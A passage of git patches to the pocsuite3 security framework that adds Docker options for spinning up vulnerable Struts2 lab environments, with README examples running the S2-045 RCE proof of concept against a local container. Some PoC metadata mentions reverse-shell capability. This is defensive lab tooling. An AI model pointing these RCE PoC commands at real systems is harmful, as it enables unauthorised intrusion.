_set_multiple_targets()
_set_user_pocs_path()
+ # show poc form pac path
_show_pocs_form_local()
# The poc module module must be in front of the plug-in module,
# and some parameters in the poc option call the plug-in
_set_pocs_modules()
+ # run docker from poc
+ _set_docker_options()
_set_plugins()
_init_targets_plugins()
_init_pocs_plugins()
diff --git a/pocsuite3/lib/core/settings.py b/pocsuite3/lib/core/settings.py
index b5dbce03..1cf744dc 100644
--- a/pocsuite3/lib/core/settings.py
+++ b/pocsuite3/lib/core/settings.py
@@ -175,6 +175,13 @@
"no-check",
"options",
+ # docker
+ "docker-start",
+ "docker-port",
+ "docker-env",
+ "docker-volume",
+ "docker-only",
+
# other
"poc",
"verbose",
diff --git a/pocsuite3/lib/parse/cmd.py b/pocsuite3/lib/parse/cmd.py
index a25de2a7..cb83ae80 100644
--- a/pocsuite3/lib/parse/cmd.py
+++ b/pocsuite3/lib/parse/cmd.py
@@ -153,6 +153,20 @@ def cmd_line_parser(argv=None):
help="Specify the name of the export rule file")
optimization.add_argument("--no-check", dest="no_check", action="store_true", default=False,
help="Disable URL protocol correction and honeypot check")
+
+ # docker options
+ docker_environment = parser.add_argument_group("Docker Environment", "Docker Environment options")
+ docker_environment.add_argument("--docker-start", dest="docker_start", action="store_true",
+ default=False, help="Run the docker for PoC")
+ docker_environment.add_argument("--docker-port", dest="docker_port", action="append",
+ default=[], help="Publish a container's port(s) to the host")
+ docker_environment.add_argument("--docker-volume", dest="docker_volume", action="append",
+ default=[], help="Bind mount a volume")
+ docker_environment.add_argument("--docker-env", dest="docker_env", action="append", default=[],
+ help="Set environment variables")
+ docker_environment.add_argument("--docker-only", dest="docker_only", action="store_true",
+ default=False, help="Only run docker environment")
+
# Diy options
diy = parser.add_argument_group("Poc options", "definition options for PoC")
diy.add_argument("--options", dest="show_options", action="store_true", default=False,
diff --git a/pocsuite3/lib/parse/dockerfile.py b/pocsuite3/lib/parse/dockerfile.py
new file mode 100644
index 00000000..7217f8ac
--- /dev/null
+++ b/pocsuite3/lib/parse/dockerfile.py
@@ -0,0 +1,27 @@
+import re
+from pocsuite3.lib.core.data import conf
+from pocsuite3.lib.core.data import logger
+from pocsuite3.lib.core.common import get_file_text
+
+
+def parse_dockerfile(file):
+ regx_rules = [
+ "name = '(.*)'",
+ "vulID = '(.*)'",
+ r"dockerfile = '''([\s\S]*?)'''",
+ ]
+ result = {
+ "name": 0,
+ "vulID": 1,
+ "dockerfile": 2,
+ }
+ st = get_file_text(file)
+ for k, v in result.items():
+ pattern = re.compile(regx_rules[v])
+ match = pattern.findall(st)
+ if match is not None:
+ result[k] = match[0]
+
+ return result
+
+
From 4b7e90131dac488fef45cf099911c891d6079052 Mon Sep 17 00:00:00 2001
From: wh0am1i
Date: Mon, 25 Dec 2023 14:48:06 +0800
Subject: [PATCH 23/27] feat(): add Build a docker vulnerability environment
with one click
---
pocsuite3/__init__.py | 2 +-
requirements.txt | 1 +
2 files changed, 2 insertions(+), 1 deletion(-)
diff --git a/pocsuite3/__init__.py b/pocsuite3/__init__.py
index f38c404d..0a2c8c0b 100644
--- a/pocsuite3/__init__.py
+++ b/pocsuite3/__init__.py
@@ -1,5 +1,5 @@
__title__ = 'pocsuite3'
-__version__ = '2.0.5'
+__version__ = '2.0.6'
__author__ = 'Knownsec 404 Team'
__author_email__ = '404-team@knownsec.com'
__license__ = 'GPLv2'
diff --git a/requirements.txt b/requirements.txt
index 679d11c0..40f7bd0b 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -15,3 +15,4 @@ dacite >= 1.6.0
PyYAML >= 6.0
lxml >= 4.6.0
mmh3 >= 3.0.0
+docker >= 6.1.3
From 9ccf4dba889046f19146fb63929bc1ded5ad1e2c Mon Sep 17 00:00:00 2001
From: wh0am1i <404-team@knownsec.com>
Date: Mon, 25 Dec 2023 15:52:15 +0800
Subject: [PATCH 24/27] feat(): update docs
---
README.md | 91 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 91 insertions(+)
diff --git a/README.md b/README.md
index f46768d2..e50984fb 100644
--- a/README.md
+++ b/README.md
@@ -53,6 +53,97 @@ It comes with a powerful proof-of-concept engine, many nice features for the ult
### pocsuite3 load nuclei template
![](./asset/img/yaml_poc_showcase.png)
+### build a docker vulnerability environment
+**require Docker**
+
+write dockerfile in poc
+```python
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2029-5-8'
+ createDate = '2019-5-8'
+ updateDate = '2019-5-8'
+ references = ['']
+ name = 'Struts2 045 RCE CVE-2017'
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-045:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
+```
+#### only run vulnerable environments
+```python
+pocsuite -r pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py --docker-start --docker-port 127.0.0.1:8080:8080 --docker-env A=test --docker-port 8899:7890
+
+,------. ,--. ,--. ,----. {2.0.6-cc19ae5}
+| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. |
+| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <
+| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' |
+`--' `---' `---`----' `----'`--' `--' `----`----' https://pocsuite.org
+[*] starting at 15:34:12
+
+[15:34:12] [INFO] loading PoC script 'pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py'
+[15:34:12] [INFO] Image struts2_045_rce_cve-2017:pocsuite exists
+[15:34:12] [INFO] Run container fa5b3b7bb2ea successful!
+[15:34:12] [INFO] pocsusite got a total of 0 tasks
+[15:34:12] [INFO] Scan completed,ready to print
+```
+
+#### run vulnerable environments and run poc
+```python
+ python pocsuite3/cli.py -r pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py -u http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action --docker-start --docker-port 127.0.0.1:8080:8080
+
+,------. ,--. ,--. ,----. {2.0.6-cc19ae5}
+| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. |
+| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <
+| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' |
+`--' `---' `---`----' `----'`--' `--' `----`----' https://pocsuite.org
+[*] starting at 15:38:46
+
+[15:38:46] [INFO] loading PoC script 'pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py'
+[15:38:46] [INFO] Image struts2_045_rce_cve-2017:pocsuite exists
+[15:38:47] [INFO] Run container 1a6eae1e8953 successful!
+[15:38:47] [INFO] pocsusite got a total of 1 tasks
+[15:38:47] [INFO] running poc:'Struts2 045 RCE CVE-2017' target 'http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action'
+[15:39:17] [+] URL : http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action
+[15:39:17] [+] Headers : {'Server': 'Apache-Coyote/1.1', 'nyvkx': '788544', 'Set-Cookie': 'JSESSIONID=0A9892431B32A541B51D4721FA0D2728; Path=/S2-032-showcase/; HttpOnly', 'Content-Type': 'text/html;charset=ISO-8859-1', 'Transfer-Encoding': 'chunked', 'Date': 'Mon, 25 Dec 2023 07:39:17 GMT'}
+[15:39:17] [INFO] Scan completed,ready to print
+
++------------------------------------------------------------------+--------------------------+--------+-----------+---------+---------+
+| target-url | poc-name | poc-id | component | version | status |
++------------------------------------------------------------------+--------------------------+--------+-----------+---------+---------+
+| http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action | Struts2 045 RCE CVE-2017 | | struts2 | | success |
++------------------------------------------------------------------+--------------------------+--------+-----------+---------+---------+
+success : 1 / 1
+```
+
+
+#### Introduction to vulnerability environment construction
+```shell
+Docker Environment:
+ Docker Environment options
+
+ --docker-start Run the docker for PoC
+ --docker-port DOCKER_PORT
+ Publish a container's port(s) to the host
+ --docker-volume DOCKER_VOLUME
+ Bind mount a volume
+ --docker-env DOCKER_ENV
+ Set environment variables
+ --docker-only Only run docker environment
+
+```
+ - `--docker-start` Start environment parameters. If specified, docker images will be obtained from poc.
+ - `--docker-port` publish a container's port(s) to the host, like: `--docker-port [host port]:[container port]`
+ - `--docker-volume` bind mount a volume,like `--docker-volume /host/path/:/container/path`
+ - `--docker-env` set environment variables `--docker-env VARIBLES=value`
+ - `--docker-only` only start the docker environment
+
## Requirements
- Python 3.7+
From 73041146f052a4399d15cb5c327e770f3c363fff Mon Sep 17 00:00:00 2001
From: wh0am1i <404-team@knownsec.com>
Date: Mon, 25 Dec 2023 15:55:25 +0800
Subject: [PATCH 25/27] feat(): update docs
---
README.md | 8 +++++---
1 file changed, 5 insertions(+), 3 deletions(-)
diff --git a/README.md b/README.md
index e50984fb..7e00b742 100644
--- a/README.md
+++ b/README.md
@@ -139,11 +139,13 @@ Docker Environment:
```
- `--docker-start` Start environment parameters. If specified, docker images will be obtained from poc.
- - `--docker-port` publish a container's port(s) to the host, like: `--docker-port [host port]:[container port]`
- - `--docker-volume` bind mount a volume,like `--docker-volume /host/path/:/container/path`
- - `--docker-env` set environment variables `--docker-env VARIBLES=value`
+ - `--docker-port` publish a container's port(s) to the host, like: `--docker-port [host port]:[container port]`,you can specify multiple
+ - `--docker-volume` bind mount a volume,like `--docker-volume /host/path/:/container/path`,you can specify multiple
+ - `--docker-env` set environment variables `--docker-env VARIBLES=value`,you can specify multiple
- `--docker-only` only start the docker environment
+The usage is roughly the same as docker’s command line parameters.
+
## Requirements
- Python 3.7+
From 7693dac633f8873019cec82f0f27e4fc980e493f Mon Sep 17 00:00:00 2001
From: wh0am1i <404-team@knownsec.com>
Date: Mon, 25 Dec 2023 16:01:09 +0800
Subject: [PATCH 26/27] feat(): update docs
---
README.md | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/README.md b/README.md
index 7e00b742..d4d722a2 100644
--- a/README.md
+++ b/README.md
@@ -87,7 +87,7 @@ pocsuite -r pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-563
`--' `---' `---`----' `----'`--' `--' `----`----' https://pocsuite.org
[*] starting at 15:34:12
-[15:34:12] [INFO] loading PoC script 'pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py'
+[15:34:12] [INFO] loading PoC script 'pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py'
[15:34:12] [INFO] Image struts2_045_rce_cve-2017:pocsuite exists
[15:34:12] [INFO] Run container fa5b3b7bb2ea successful!
[15:34:12] [INFO] pocsusite got a total of 0 tasks
@@ -96,7 +96,7 @@ pocsuite -r pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-563
#### run vulnerable environments and run poc
```python
- python pocsuite3/cli.py -r pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py -u http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action --docker-start --docker-port 127.0.0.1:8080:8080
+ pocsuite -r pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py -u http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action --docker-start --docker-port 127.0.0.1:8080:8080
,------. ,--. ,--. ,----. {2.0.6-cc19ae5}
| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. |
@@ -105,7 +105,7 @@ pocsuite -r pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-563
`--' `---' `---`----' `----'`--' `--' `----`----' https://pocsuite.org
[*] starting at 15:38:46
-[15:38:46] [INFO] loading PoC script 'pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py'
+[15:38:46] [INFO] loading PoC script 'pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py'
[15:38:46] [INFO] Image struts2_045_rce_cve-2017:pocsuite exists
[15:38:47] [INFO] Run container 1a6eae1e8953 successful!
[15:38:47] [INFO] pocsusite got a total of 1 tasks
From c189624e687a96c15d404b731be09cc7846a95b7 Mon Sep 17 00:00:00 2001
From: wh0am1i <404-team@knownsec.com>
Date: Tue, 26 Dec 2023 10:01:58 +0800
Subject: [PATCH 27/27] feat: add Apache Struts2 dockerfile in pocs, add wait
container start check.
---
pocsuite3/lib/controller/controller.py | 17 +++++++++++++++++
.../20090323_WEB_Apache_Struts2_001_RCE.py | 1 +
..._WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py | 1 +
..._WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py | 1 +
..._WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py | 1 +
.../20120108_WEB_Apache_Struts2_007_RCE.py | 1 +
..._WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py | 1 +
..._WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py | 1 +
..._WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py | 1 +
..._WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py | 1 +
..._WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py | 1 +
..._WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py | 1 +
..._WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py | 1 +
..._WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py | 1 +
..._WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py | 1 +
..._WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py | 1 +
..._WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py | 1 +
..._WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py | 1 +
..._WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py | 1 +
..._WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py | 1 +
..._WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py | 1 +
..._WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py | 1 +
...WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py | 1 +
...WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py | 1 +
...WEB_Apache_Struts2_061_RCE_CVE-2020-17530.py | 1 +
..._Apache_Struts2_Log4j2_RCE_CVE-2021-44228.py | 1 +
...WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py | 1 +
27 files changed, 43 insertions(+)
diff --git a/pocsuite3/lib/controller/controller.py b/pocsuite3/lib/controller/controller.py
index b0925a77..80563caf 100644
--- a/pocsuite3/lib/controller/controller.py
+++ b/pocsuite3/lib/controller/controller.py
@@ -1,5 +1,7 @@
import copy
import time
+
+import requests
from prettytable import PrettyTable
from pocsuite3.lib.core.common import data_to_stdout, mosaic
from pocsuite3.lib.core.data import conf, cmd_line_options
@@ -88,12 +90,27 @@ def show_task_result():
data_to_stdout("\nsuccess : {} / {}\n".format(success_num, total_num))
+def check_docker_status(target):
+ if conf.docker_start:
+ info_msg = "wait for docker..."
+ logger.info(info_msg)
+ while True:
+ try:
+ resp = requests.get(target)
+ if resp.status_code:
+ break
+ except Exception:
+ pass
+
+
def task_run():
while not kb.task_queue.empty() and kb.thread_continue:
target, poc_module = kb.task_queue.get()
if not conf.console_mode:
poc_module = copy.deepcopy(kb.registered_pocs[poc_module])
poc_name = poc_module.name
+ # check container status
+ check_docker_status(target)
if conf.pcap:
# start capture flow
diff --git a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_001_RCE.py b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_001_RCE.py
index b6f469af..396a964d 100755
--- a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_001_RCE.py
+++ b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_001_RCE.py
@@ -24,6 +24,7 @@ class DemoPOC(POCBase):
desc = '''S2-001:影响版本Struts 2.0.0-2.0.8'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py
index 1b7a17a4..eae674c7 100755
--- a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py
+++ b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py
@@ -22,6 +22,7 @@ class DemoPOC(POCBase):
desc = '''Struts 2.0.0 - Struts 2.1.8.1'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py b/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py
index 9d3e0d11..34cf0e9f 100755
--- a/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py
+++ b/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py
@@ -23,6 +23,7 @@ class DemoPOC(POCBase):
desc = '''Struts 2.0.0 - Struts 2.1.8.1'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py b/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py
index 8f738d5e..8a71ef25 100755
--- a/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py
+++ b/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py
@@ -23,6 +23,7 @@ class DemoPOC(POCBase):
desc = '''S2-009:影响版本Struts 2.0.0-2.3.1.1'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py
index 11666f4b..107a0109 100755
--- a/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py
+++ b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py
@@ -23,6 +23,7 @@ class DemoPOC(POCBase):
desc = '''S2-007:影响版本Struts 2.0.0 - Struts 2.2.3'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py
index 5bddc87b..552d393a 100755
--- a/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py
+++ b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py
@@ -23,6 +23,7 @@ class DemoPOC(POCBase):
desc = '''[+] S2-008:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持任意命令执行和反弹shell'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py
index d3f1ecca..4fb40101 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py
@@ -23,6 +23,7 @@ class DemoPOC(POCBase):
desc = '''S2-012:影响版本Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py
index c3a18b9f..a4047304 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py
@@ -23,6 +23,7 @@ class DemoPOC(POCBase):
desc = '''S2-013/S2-014:影响版本Struts 2.0.0-2.3.14.1'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py
index 4f6bf34d..2dbce7ab 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py
@@ -23,6 +23,7 @@ class DemoPOC(POCBase):
desc = '''S2-015:影响版本Struts 2.0.0-2.3.14.2;'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py
index 15b7a5fa..c9d5e57f 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py
@@ -24,6 +24,7 @@ class DemoPOC(POCBase):
desc = '''S2-015:影响版本Struts 2.0.0 - Struts 2.3.15;'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py b/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py
index a5e49fa1..a8390029 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py
@@ -24,6 +24,7 @@ class DemoPOC(POCBase):
desc = '''S2-019:影响版本Struts 2.0.0-2.3.15.1'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py b/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py
index 99dade4f..72fc541d 100755
--- a/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py
+++ b/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py
@@ -28,6 +28,7 @@ class DemoPOC(POCBase):
'''
samples = []
install_requires = ['']
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def getLink(self, url):
'''使用正则得到页面中.action和.do链接'''
diff --git a/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py b/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py
index 23edc600..fad4dd28 100755
--- a/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py
+++ b/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py
@@ -23,6 +23,7 @@ class DemoPOC(POCBase):
desc = '''S2-devMode:影响版本Struts 2.0.0 - Struts Struts 2.3.16.3'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py b/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py
index 045daceb..5f077e50 100755
--- a/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py
+++ b/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py
@@ -23,6 +23,7 @@ class DemoPOC(POCBase):
desc = '''S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); '''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py
index 9999fcf8..57187153 100755
--- a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py
+++ b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py
@@ -22,6 +22,7 @@ class DemoPOC(POCBase):
desc = '''S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3);'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py
index ee539911..bde192e3 100755
--- a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py
+++ b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py
@@ -22,6 +22,7 @@ class DemoPOC(POCBase):
desc = '''S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py b/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py
index 6468b093..266bf9c8 100755
--- a/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py
+++ b/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py
@@ -22,6 +22,7 @@ class DemoPOC(POCBase):
desc = '''S2-037:Struts 2.3.20 - Struts Struts 2.3.28.1'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py b/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py
index a2a11bcf..dd626cfd 100755
